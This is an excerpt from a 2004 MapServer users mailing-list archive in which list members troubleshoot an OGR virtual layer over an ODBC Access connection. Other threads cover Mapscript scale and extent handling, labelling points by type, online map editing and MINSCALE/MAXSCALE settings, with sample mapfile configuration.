>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>Anctil, Martin
>Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>Connectiontype)
>
>
>Julien,
>
>Just because I do not know all the steps you have done, can you tell me 
>if you were able to have some output form "ogrinfo" command?
>
>Norm
>
>Julien, Heryk wrote:
>
>  
>
>>Hi Paul,
>>What do I write in the virtual file SrcDataSource tag when I log on a
>>    
>>
>Access
>  
>
>>db with no user restrictions and pass word?
>>I've tried the following combinations without success:
>>
>>ODBC:MGWI_MAPSERVER
>>ODBC:@MGWI_MAPSERVER
>>ODBC:/@MGWI_MAPSERVER
>>ODBC:administor/@MGWI_MAPSERVER 
>>ODBC:administeur/@MGWI_MAPSERVER
>>
>>Thanks
>>H?ryk
>>
>>
>>-----Message d'origine-----
>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>Envoy? : Wednesday, January 21, 2004 1:43 PM
>>? : Julien, Heryk
>>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>Anctil, Martin
>>Objet : [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
>>
>>
>>I believe there is a limitation in the OGR OBDC connection that requires 
>>that you provide a user name and password in the OVF file (I think that 
>>is mentioned in the wiki also).
>>
>>Cheers,
>>
>>Paul
>>
>>Julien, Heryk wrote:
>> 
>>
>>    
>>
>>>Hi,
>>>I'm trying out the Virtual Spatial Data procedure in MapServerWiki
>>>(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with IIS
>>>and an Access 2000 ODBC connection.
>>>
>>>I keep on getting the following error message when I attempt ton see my
>>>   
>>>
>>>      
>>>
>>map:
>> 
>>
>>    
>>
>>>msDrawMap(): Image handling error. Failed to draw layer named
>>>   
>>>
>>>      
>>>
>>'MGWI_TBLLOC'.
>> 
>>
>>    
>>
>>>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
>>>   
>>>
>>>      
>>>
>>File
>> 
>>
>>    
>>
>>>not found or unsupported format.
>>>
>>>Anyone can help me?
>>>
>>>
>>>
>>>Here is my virtual file (mgw.ovf):
>>>
>>>
>>>   
>>>       ODBC:MGWI_MAPSERVER 
>>>	tblloc 
>>>	wkbPoint
>>>	         
>>>	 
>>>   
>>>
>>>
>>>
>>>
>>>
>>>My virtual layer is in the same directory as my shapefiles:
>>>
>>>SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
>>>
>>>
>>>
>>>
>>>Here is the section of my mapfile where I call my virtual layer:
>>>
>>>LAYER
>>>	NAME "MGWI_TBLLOC"
>>>	TYPE POINT
>>>	CONNECTIONTYPE OGR
>>>	CONNECTION "mgwi.ovf"
>>>	DATA "MGWI_TBLLOC"
>>>	STATUS DEFAULT
>>>	LABELITEM "LOCID"
>>>	PROJECTION
>>>		"init=epsg:26920"
>>>	END #projection
>>>	CLASS
>>>		SYMBOL 'circle'
>>>		SIZE 8
>>>		LABEL
>>>			COLOR 132 31 31
>>>			SHADOWCOLOR 218 218 218
>>>			SHADOWSIZE 2 2
>>>			TYPE TRUETYPE
>>>			FONT arial-bold
>>>			FORCE true
>>>			SIZE 10
>>>			POSITION auto
>>>			PARTIALS FALSE
>>>			MINDISTANCE 0
>>>			BUFFER 2
>>>		END # end of label
>>>	    TEMPLATE
>>>"d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.html"
>>>	END # CLASS
>>>END # LAYER
>>>
>>>
>>>
>>>
>>>
>>>
>>>==========================================
>>>H?ryk
>>>NRCan
>>>
>>>-----Message d'origine-----
>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>Envoy? : Wednesday, January 14, 2004 8:44 AM
>>>? : 'spencer at dmsolutions.ca'
>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
>>>
>>>
>>>Thanks
>>>
>>>H?ryk
>>>
>>>-----Message d'origine-----
>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>Envoy? : Tuesday, January 13, 2004 5:00 PM
>>>? : Julien, Heryk
>>>Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
>>>Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
>>>
>>>
>>>Maybe you missed it?
>>>
>>>
>>>   
>>>
>>>      
>>>
>>http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.html
>> 
>>
>>    
>>
>>>Cheers,
>>>
>>>Paul
>>>
>>>Julien, Heryk wrote:
>>>
>>>
>>>   
>>>
>>>      
>>>
>>>>Hi Paul,
>>>>Could you send me or post information on the "new format in 
>>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>>source and map two of the columns to x and y locations"?
>>>>
>>>>Thanks
>>>>H?ryk
>>>>
>>>>-----Message d'origine-----
>>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>Envoy? : Monday, January 05, 2004 9:23 AM
>>>>? : 'spencer at dmsolutions.ca'
>>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>Objet : RE: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>>Hi,
>>>>I am also very interseted in that fonction. I would like to be able to
>>>>        
>>>>
>map
>  
>
>>>>well positions from a database x and y colums. Would this permit me to
>>>>     
>>>>
>>>>        
>>>>
>>>have
>>>
>>>   
>>>
>>>      
>>>
>>>>an up to date point geometry layer which reflects the changes in my well
>>>>database? Can you send me more details?
>>>>
>>>>Thanks
>>>>
>>>>H?ryk
>>>>NRCan
>>>>
>>>>-----Message d'origine-----
>>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>Envoy? : Saturday, January 03, 2004 4:28 PM
>>>>? : bartvde at xs4all.nl
>>>>Cc : mapserver-users at lists.gis.umn.edu
>>>>Objet : Re: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>>Bart,
>>>>
>>>>if you are interested in point geometries only, there is a new format in 
>>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>>source and map two of the columns to x and y locations.  We've used it 
>>>>for a couple of clients and it works very nicely.  If you are interested 
>>>>I can send you more details.
>>>>
>>>>Cheers,
>>>>
>>>>Paul
>>>>
>>>>Bart van den Eijnden wrote:
>>>>
>>>>
>>>>
>>>>     
>>>>
>>>>        
>>>>
>>>>>Hi list,
>>>>>
>>>>>I see in the history log that there has been some work done recently 
>>>>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>>>>connector. Can it be used already?
>>>>>
>>>>>Also, is it possible to keep the geometries in shapefiles and use 
>>>>>Mapserver JOINS to link to tables in MySQL?
>>>>>
>>>>>Thanks in advance for the info.
>>>>>
>>>>>Best regards,
>>>>>Bart
>>>>>_______________________________________________
>>>>>Mapserver-users mailing list
>>>>>Mapserver-users at lists.gis.umn.edu
>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>>
>>>>>       
>>>>>
>>>>>          
>>>>>
>>>>     
>>>>
>>>>        
>>>>
>> 
>>
>>    
>>
>
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>




From nsavard at dmsolutions.ca  Thu Jan 22 10:41:24 2004
From: nsavard at dmsolutions.ca (Normand Savard)
Date: Thu, 22 Jan 2004 13:41:24 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
References: <06B403677C41D51194550002A55107D201F78FF1@s5-stf1-r1.nrn.nrcan.gc.ca> <40101392.1000207@dmsolutions.ca>
Message-ID: <40101954.9050903@dmsolutions.ca>

Julien,

Forget about preceeding email.  I made a mistake on the error message.

Norm

Normand Savard wrote:

> Julien,
>
> Try
> LABELITEM  MGWI_TBLLOC #may need to use table.name or just name 
> depending on your OVF file.
>
> in the map file, in the virtual layer section.
>
>
> Example of a map file:
>
> ...
>  LAYER
>    NAME "MyVirtualLayer"
>    TYPE POINT
>    CONNECTIONTYPE OGR
>    CONNECTION "virtual.ovf" # the name and path to the virtual.ovf 
> file, relative to shapepath may work?
>    DATA "capitalNames" # the name of the OGRVrtLayer
>    STATUS ON
>    LABELITEM capitalName #may need to use table.name or just name 
> depending on your OVF file.
>    PROJECTION
>      "init=epsg:4326"
>    END
>    CLASS
>      SYMBOL star
>      SIZE 10
>      COLOR 255 0 0
>      LABEL
>     SIZE MEDIUM
>     TYPE BITMAP
>     COLOR 0 0 0
>      END
>    END
> END # Layer
>
> ...
>
> Example of an "ovf" file
>
> 
>
>    
>        ODBC:NormMyDSN,capital
>     capital
>    wkbPoint
>        WGS84
>    
>    
>
> 
>
>
>
> Norm
>
> Julien, Heryk wrote:
>
>> Hi to all,
>>
>> I replaced my version of Mapserver with a precompiled one. I also 
>> installed
>> the latest  version of gdal11.dll and ogrinfo from the OpenEV_FW zip.
>>
>> As suggested by Frank Warmerdam I used the following SrcDataSource 
>> tag in
>> the virtual file:
>> ODBC:MGWI_MAPSERVER. MGWI_MAPSERVER is 
>> the
>> DSN for my ODBC data source.
>>
>> Here is the orginfo output:
>>
>> D:\WebScripts\MapServer>ogrinfo --formats
>> Loaded OGR Format Drivers:
>>  -> "ESRI Shapefile" (read/write)
>>  -> "UK .NTF" (readonly)
>>  -> "SDTS" (readonly)
>>  -> "TIGER" (read/write)
>>  -> "S57" (read/write)
>>  -> "MapInfo File" (read/write)
>>  -> "DGN" (read/write)
>>  -> "VRT" (readonly)
>>  -> "AVCBin" (readonly)
>>  -> "REC" (readonly)
>>  -> "Memory" (read/write)
>>  -> "GML" (read/write)
>>  -> "ODBC" (read/write)
>>  -> "OGDI" (readonly)
>>  -> "FMEObjects Gateway" (readonly)
>>
>> D:\WebScripts\MapServer>ogrinfo
>> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>> ERROR 4: Update access not supported for VRT datasources.
>> Had to open data source read-only.
>> INFO: Open of
>> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>> using driver `VRT' successful.
>> 1: MGWI_TBLLOC (Point)
>>
>> When I execute Mapserver I got the following message:
>> msDrawMap(): Image handling error. Failed to draw layer named 
>> 'MGWI_TBLLOC'.
>>
>> msOGRFileOpen(): OGR error. Open failed for OGR connection 
>> `mgwi.ovf'. File
>> not found or unsupported format.
>>
>>
>> Thanks for the help
>>
>> H?ryk
>>
>>
>>
>> -----Message d'origine-----
>> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>> Envoy? : Wednesday, January 21, 2004 5:26 PM
>> ? : Julien, Heryk
>> Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>> Anctil, Martin
>> Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>> Connectiontype)
>>
>>
>> Julien,
>>
>> Just because I do not know all the steps you have done, can you tell 
>> me if you were able to have some output form "ogrinfo" command?
>>
>> Norm
>>
>> Julien, Heryk wrote:
>>
>>  
>>
>>> Hi Paul,
>>> What do I write in the virtual file SrcDataSource tag when I log on a
>>>   
>>
>> Access
>>  
>>
>>> db with no user restrictions and pass word?
>>> I've tried the following combinations without success:
>>>
>>> ODBC:MGWI_MAPSERVER
>>> ODBC:@MGWI_MAPSERVER
>>> ODBC:/@MGWI_MAPSERVER
>>> ODBC:administor/@MGWI_MAPSERVER 
>>> ODBC:administeur/@MGWI_MAPSERVER
>>>
>>> Thanks
>>> H?ryk
>>>
>>>
>>> -----Message d'origine-----
>>> De : Paul Spencer [mailto:pagameba at magma.ca]
>>> Envoy? : Wednesday, January 21, 2004 1:43 PM
>>> ? : Julien, Heryk
>>> Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>> Anctil, Martin
>>> Objet : [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
>>>
>>>
>>> I believe there is a limitation in the OGR OBDC connection that 
>>> requires that you provide a user name and password in the OVF file 
>>> (I think that is mentioned in the wiki also).
>>>
>>> Cheers,
>>>
>>> Paul
>>>
>>> Julien, Heryk wrote:
>>>
>>>
>>>   
>>>
>>>> Hi,
>>>> I'm trying out the Virtual Spatial Data procedure in MapServerWiki
>>>> (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) 
>>>> with IIS
>>>> and an Access 2000 ODBC connection.
>>>>
>>>> I keep on getting the following error message when I attempt ton 
>>>> see my
>>>>  
>>>>     
>>>
>>> map:
>>>
>>>
>>>   
>>>
>>>> msDrawMap(): Image handling error. Failed to draw layer named
>>>>  
>>>>     
>>>
>>> 'MGWI_TBLLOC'.
>>>
>>>
>>>   
>>>
>>>> msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
>>>>  
>>>>     
>>>
>>> File
>>>
>>>
>>>   
>>>
>>>> not found or unsupported format.
>>>>
>>>> Anyone can help me?
>>>>
>>>>
>>>>
>>>> Here is my virtual file (mgw.ovf):
>>>>
>>>> 
>>>>   
>>>>       ODBC:MGWI_MAPSERVER 
>>>>     tblloc 
>>>>     wkbPoint
>>>>                  >>> encoding="PointFromColumns" x="x" y="y"/>   
>>>> 
>>>>
>>>>
>>>>
>>>>
>>>> My virtual layer is in the same directory as my shapefiles:
>>>>
>>>> SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
>>>>
>>>>
>>>>
>>>>
>>>> Here is the section of my mapfile where I call my virtual layer:
>>>>
>>>> LAYER
>>>>     NAME "MGWI_TBLLOC"
>>>>     TYPE POINT
>>>>     CONNECTIONTYPE OGR
>>>>     CONNECTION "mgwi.ovf"
>>>>     DATA "MGWI_TBLLOC"
>>>>     STATUS DEFAULT
>>>>     LABELITEM "LOCID"
>>>>     PROJECTION
>>>>         "init=epsg:26920"
>>>>     END #projection
>>>>     CLASS
>>>>         SYMBOL 'circle'
>>>>         SIZE 8
>>>>         LABEL
>>>>             COLOR 132 31 31
>>>>             SHADOWCOLOR 218 218 218
>>>>             SHADOWSIZE 2 2
>>>>             TYPE TRUETYPE
>>>>             FONT arial-bold
>>>>             FORCE true
>>>>             SIZE 10
>>>>             POSITION auto
>>>>             PARTIALS FALSE
>>>>             MINDISTANCE 0
>>>>             BUFFER 2
>>>>         END # end of label
>>>>         TEMPLATE
>>>> "d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.html" 
>>>>
>>>>     END # CLASS
>>>> END # LAYER
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>
>>>> ==========================================
>>>> H?ryk
>>>> NRCan
>>>>
>>>> -----Message d'origine-----
>>>> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>> Envoy? : Wednesday, January 14, 2004 8:44 AM
>>>> ? : 'spencer at dmsolutions.ca'
>>>> Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>> Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>> Thanks
>>>>
>>>> H?ryk
>>>>
>>>> -----Message d'origine-----
>>>> De : Paul Spencer [mailto:pagameba at magma.ca]
>>>> Envoy? : Tuesday, January 13, 2004 5:00 PM
>>>> ? : Julien, Heryk
>>>> Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
>>>> Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>> Maybe you missed it?
>>>>
>>>>
>>>>  
>>>>     
>>>
>>> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.html 
>>>
>>>
>>>
>>>   
>>>
>>>> Cheers,
>>>>
>>>> Paul
>>>>
>>>> Julien, Heryk wrote:
>>>>
>>>>
>>>>  
>>>>     
>>>>
>>>>> Hi Paul,
>>>>> Could you send me or post information on the "new format in OGR to 
>>>>> set up a virtual layer that can draw columns from any ODBC data 
>>>>> source and map two of the columns to x and y locations"?
>>>>>
>>>>> Thanks
>>>>> H?ryk
>>>>>
>>>>> -----Message d'origine-----
>>>>> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>> Envoy? : Monday, January 05, 2004 9:23 AM
>>>>> ? : 'spencer at dmsolutions.ca'
>>>>> Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>> Objet : RE: [Mapserver-users] MySQL and Mapserver
>>>>>
>>>>>
>>>>> Hi,
>>>>> I am also very interseted in that fonction. I would like to be 
>>>>> able to
>>>>>       
>>>>
>> map
>>  
>>
>>>>> well positions from a database x and y colums. Would this permit 
>>>>> me to
>>>>>    
>>>>>       
>>>>
>>>> have
>>>>
>>>>  
>>>>     
>>>>
>>>>> an up to date point geometry layer which reflects the changes in 
>>>>> my well
>>>>> database? Can you send me more details?
>>>>>
>>>>> Thanks
>>>>>
>>>>> H?ryk
>>>>> NRCan
>>>>>
>>>>> -----Message d'origine-----
>>>>> De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>> Envoy? : Saturday, January 03, 2004 4:28 PM
>>>>> ? : bartvde at xs4all.nl
>>>>> Cc : mapserver-users at lists.gis.umn.edu
>>>>> Objet : Re: [Mapserver-users] MySQL and Mapserver
>>>>>
>>>>>
>>>>> Bart,
>>>>>
>>>>> if you are interested in point geometries only, there is a new 
>>>>> format in OGR to set up a virtual layer that can draw columns from 
>>>>> any ODBC data source and map two of the columns to x and y 
>>>>> locations.  We've used it for a couple of clients and it works 
>>>>> very nicely.  If you are interested I can send you more details.
>>>>>
>>>>> Cheers,
>>>>>
>>>>> Paul
>>>>>
>>>>> Bart van den Eijnden wrote:
>>>>>
>>>>>
>>>>>
>>>>>    
>>>>>       
>>>>>
>>>>>> Hi list,
>>>>>>
>>>>>> I see in the history log that there has been some work done 
>>>>>> recently (early December) by Attila on supporting MySQL 4.X for 
>>>>>> the MyGIS connector. Can it be used already?
>>>>>>
>>>>>> Also, is it possible to keep the geometries in shapefiles and use 
>>>>>> Mapserver JOINS to link to tables in MySQL?
>>>>>>
>>>>>> Thanks in advance for the info.
>>>>>>
>>>>>> Best regards,
>>>>>> Bart
>>>>>> _______________________________________________
>>>>>> Mapserver-users mailing list
>>>>>> Mapserver-users at lists.gis.umn.edu
>>>>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>>>
>>>>>>      
>>>>>>         
>>>>>
>>>>>    
>>>>>       
>>>>
>>>
>>>
>>>   
>>
>>
>>
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>  
>>
>
>
>




From lfilak at medinaco.org  Thu Jan 22 10:50:49 2004
From: lfilak at medinaco.org (Lowell Filak)
Date: Thu, 22 Jan 2004 13:50:49 -0500
Subject: [Mapserver-users] Mapscript / CGI - Scale / zoomscale
Message-ID: <20040122185041.CD74D1A659C@mail.medinaco.org>

I believe that mapserver automatically adjusts the extent to make a
square out of it - this may explain your second problem.
For more information regarding that you may want to check the archives
for a recent discussion regarding "WMS BBOX vs. Actual Bounds".
For your first problem - are you also setting the map size in Mapscript
along with the extent?

Lowell

The following message was sent by "robert fritz" 
on Thu, 22 Jan 2004 18:13:22 +0100.

> Hello,
>  
> So far I have used CGI to address Mapserver through. I calculate the
new extend of the map for a chosen scale in JavaScript and pass this
value as "mapext" to mapserver. I also pass the picture size etc.
> A map with the precise calculated scale was returned (the Mapserver
return value [scale] was identical to the chosen scale).
>  
> I am now trying to use Mapscript but don't get the expected output. If
I use a new extent calculated in JavaScript as follows
> ...
>
$map->setExtent($msmapextent[0],$msmapextent[1],$msmapextent[2],$msmapextent[3]);
> ...
>  
> the scale of the output map is not as expected (e.g. calculated
1:1000, output: 1:1024; 1:2000 - 1:2048, ...).
>  
> This is similar to a second strange problem I encountered. When I
define an area and pass its coordinates to Mapserver via CGI the output
section of the map is a slightly different from the section of the map
that is returned when I use the same coordinates in Mapscript ($map
->setExtent(...)). 
>  
> I have no idea if I am making some mistake here or have failed to
grasp some concept. I know that I could use the zoomscale() function to
fix the first problem but this would not fully solve my second problem.
> Any useful advice?
> 
>
______________________________________________________________________________
> Nachrichten, Musik und Spiele schnell und einfach per Quickstart im 
> WEB.DE Screensaver - Gratis downloaden:
http://screensaver.web.de/?mc=021110
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From stephen.clark at focus.ca  Thu Jan 22 11:58:46 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Thu, 22 Jan 2004 11:58:46 -0800
Subject: [Mapserver-users] Display of text labels  by type
References:  <401017D0.6070506@greenwoodmap.com>
Message-ID: <071001c3e122$25763f70$6c000a0a@sclark>

Hello,

I have a shape point file with names of point locations.

Each point location has a type such as City, town, locality, etc.,

How can I specify that the point is annotated by using the "type" of point
feature?

I have included a sample layer file as reference.

thanks
Stephen



LAYER
  NAME "bcgnis_pop_place"
  STATUS OFF
  DATA "d:/shp/NEBC_pop_place_name"
  TYPE ANNOTATION
  LABELITEM "NAME"
  CLASS
    COLOR 0 255 0
    LABEL
      MINFEATURESIZE 40
      MINDISTANCE 150
      POSITION CC
      COLOR 0 255 0

      FONT arial
      TYPE truetype
      SIZE 10
      #FORCE TRUE
    END
  END


END



From wim.blanken at planet.nl  Thu Jan 22 11:04:50 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Thu, 22 Jan 2004 20:04:50 +0100
Subject: [Mapserver-users] How to edit?
References: <002301c3e0be$b90a3d90$f100a8c0@ceno>
Message-ID: <008101c3e11a$9d8abb60$6400a8c0@BLANKEN>

This is a multi-part message in MIME format.

--Boundary_(ID_e51753f1MFHExTFj6ywSyg)
Content-type: text/plain; charset=iso-8859-2
Content-transfer-encoding: 7BIT

Hello Juraj,

I have created an application in which you can digitise points, lines and polygons with attribute data with Mapserver using CGI mapserver + javascript + php and finally a little mapscript to write the shapefile.
It works with a slightly changed jbox that gives the user the ability to use the line tool to create points, lines and polygons.
The coordinates are stored in an array and then passed on to the php script creating the shapefile.
It works like a charm but i am still testing this but when I am finished I could send the snippets to you....

W. Blanken
Geon bv
The Netherlands
  ----- Original Message ----- 
  From: Juraj Cenek 
  To: mapserver-users at lists.gis.umn.edu 
  Sent: Thursday, January 22, 2004 9:07 AM
  Subject: [Mapserver-users] How to edit?


  Hallo, I have one question about the mapserver, is it possible 
  to modify the maps online (for example every user can create his 
  own layer on the server, when he inputs the password, his layers 
  will appear). Is this possible? (for example user wants to create 
  own map of his trips among his country) I've seen applications, 
  that can input points, but no application, that can include line, 
  polygone......
  >Thanx, 
  >        Ing. Juraj Cenek


--Boundary_(ID_e51753f1MFHExTFj6ywSyg)
Content-type: text/html; charset=iso-8859-2
Content-transfer-encoding: 7BIT









Hello Juraj,


 


I have created an application in which you can 
digitise points, lines and polygons with attribute data with Mapserver using CGI 
mapserver + javascript + php and finally a little mapscript to write the 
shapefile.


It works with a slightly changed jbox that gives 
the user the ability to use the line tool to create points, lines and 
polygons.


The coordinates are stored in an array and then 
passed on to the php script creating the shapefile.


It works like a charm but i am still testing this but when I am finished I could send the 
snippets to you....


 


W. Blanken


Geon bv


The Netherlands



  
----- Original Message ----- 

  
  
  
Sent: Thursday, January 22, 2004 9:07 
  AM

  
Subject: [Mapserver-users] How to 
  edit?

  


  
Hallo, I have 
  one question about the mapserver, is it possible 
to modify the maps online 
  (for example every user can create his 
own layer on the server, when he 
  inputs the password, his layers 
will appear). Is this possible? (for 
  example user wants to create 
own map of his trips among his country) I've 
  seen applications, 
that can input points, but no application, that can 
  include line, 
polygone......
>Thanx, 
  
>        Ing. Juraj 
  Cenek


--Boundary_(ID_e51753f1MFHExTFj6ywSyg)--


From Daniel.A.Martin at erac.com  Thu Jan 22 11:15:22 2004
From: Daniel.A.Martin at erac.com (Martin, Daniel A)
Date: Thu, 22 Jan 2004 13:15:22 -0600
Subject: [Mapserver-users] Easy mapfile question
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A192CC8@STL-EXBE-I03.corp.erac.com>

Right, MINSCALE and MAXSCALE control a scale range at which a layer is
presented in the layer.  

I find the easiest way to determine your MINSCALE/MAXSCALE settings is
to place a [scale] tag in your HTML client.  
I even keep an HTML commented scale that I can see by doing "View
Source" in all my map clients:

Then, zoom the client to the scale you would like to set as a boundary,
and record the value of that [scale] tag.  You don't even need to
understand the units involved (though that is set by the UNITS item in
your MAP object).

One of my favorite techniques is have two layers by the same name (one
presenting more detail than the other) where the MAXSCALE for one is the
MINSCALE for the other.  As the client crosses this threshold they are
presented with the more detailed layer.  For instance, showing a highway
layer, and then switching to a full street map when zoomed close.

-Dan

> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu 
> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> Jim Buzbee
> Sent: Thursday, January 22, 2004 12:17 PM
> To: mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] Easy mapfile question
> 
> 
> 
> 
> Tyler Mitchell wrote:
> 
> > 
> > 
> > 
> > 
> >>I currently have a single raster image referenced in my map 
> file and 
> >>it is working properly.  My question : How do I add 
> additional rasters 
> >>to the map file?
> > 
> > 
> > The exact same way, just adding more LAYER....END sections.
> 
> OK
> 
> > 
> > 
> >>For example, say I have a raster map of the western US with 
> extents of 
> >>something like 34N, 114W to 35N, 112W. How do I reference 
> this in my 
> >>map file?  Here's my current map file :
> > 
> > 
> > I guess your question may be more related to how to make the images 
> > line up with each other and/or turn automatically.  Are you 
> additional 
> > images georeferenced, i.e. geotiff's or tiffs with world 
> files (.twf)?
> 
> 
> Right now, that's an open question as I haven't acquired the 
> real data.
> 
> For a test, I just created a ".wld" file that described a 
> jpeg file and 
> I'm seeing how it fits in.  From an earlier response, I gather my 
> MINSCALE and MAXSCALE settings for the layers will tell 
> mapserver when 
> to render the raster?
> 
> Jim
> 
> 
> 
> 
> > 
> > 
> >>MAP
> >>   STATUS ON
> >>   EXTENT -180 -90 180 90
> >>   UNITS DD
> >>   SIZE 640 320
> >>   SHAPEPATH  "/usr/apache2/htdocs/maps/"
> >>
> >>WEB
> >>   TEMPLATE world.html
> >>   IMAGEPATH "/usr/apache2/htdocs/tmp/"
> >>   IMAGEURL "/tmp/"
> >>END
> >>
> >>   LAYER
> >>     NAME world
> >>     TYPE RASTER
> >>     DATA world.tif
> >>     STATUS DEFAULT
> >>   END
> >>
> >>END
> >>
> >>Thanks!
> >>
> >>Jim Buzbee
> >>
> >>
> >>_______________________________________________
> >>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > 
> > 
> > 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> 



From eric at gomoos.org  Thu Jan 22 11:45:56 2004
From: eric at gomoos.org (Eric Bridger)
Date: Thu, 22 Jan 2004 14:45:56 -0500
Subject: [Mapserver-users] Display of text labels  by type
In-Reply-To: <071001c3e122$25763f70$6c000a0a@sclark>
References: 
 <401017D0.6070506@greenwoodmap.com>
Message-ID: <4.3.2.7.2.20040122144201.00ad7ab0@mail.gomoos.org>

You need define a CLASSITEM "type"  at the LAYER level, assuming the field in your dbf file is named "type"
Then in the CLASS use e.g. EXPRESSION  "City"  and only the records of type City will be displayed using that CLASS color, size, label, etc.

You can create other classes for the other types or not.

At 11:58 AM 01/22/2004 -0800, Stephen Clark wrote:
>Hello,
>
>I have a shape point file with names of point locations.
>
>Each point location has a type such as City, town, locality, etc.,
>
>How can I specify that the point is annotated by using the "type" of point
>feature?
>
>I have included a sample layer file as reference.
>
>thanks
>Stephen
>
>
>
>LAYER
>  NAME "bcgnis_pop_place"
>  STATUS OFF
>  DATA "d:/shp/NEBC_pop_place_name"
>  TYPE ANNOTATION
>  LABELITEM "NAME"
>  CLASS
>    COLOR 0 255 0
>    LABEL
>      MINFEATURESIZE 40
>      MINDISTANCE 150
>      POSITION CC
>      COLOR 0 255 0
>
>      FONT arial
>      TYPE truetype
>      SIZE 10
>      #FORCE TRUE
>    END
>  END
>
>
>END
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From Daniel.A.Martin at erac.com  Thu Jan 22 11:42:44 2004
From: Daniel.A.Martin at erac.com (Martin, Daniel A)
Date: Thu, 22 Jan 2004 13:42:44 -0600
Subject: [Mapserver-users] Easy mapfile question
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A01C2E637@STL-EXBE-I03.corp.erac.com>

Whoops,
Right, MINSCALE and MAXSCALE control a scale range at which a
layer is presented in the layer. Should read "in the map."

Sorry!
Dan

> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu 
> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> Martin, Daniel A
> Sent: Thursday, January 22, 2004 1:15 PM
> To: Jim Buzbee; mapserver-users at lists.gis.umn.edu
> Subject: RE: [Mapserver-users] Easy mapfile question
> 
> 
> Right, MINSCALE and MAXSCALE control a scale range at which a 
> layer is presented in the layer.  
> 
> I find the easiest way to determine your MINSCALE/MAXSCALE 
> settings is to place a [scale] tag in your HTML client.  
> I even keep an HTML commented scale that I can see by doing 
> "View Source" in all my map clients:
> 
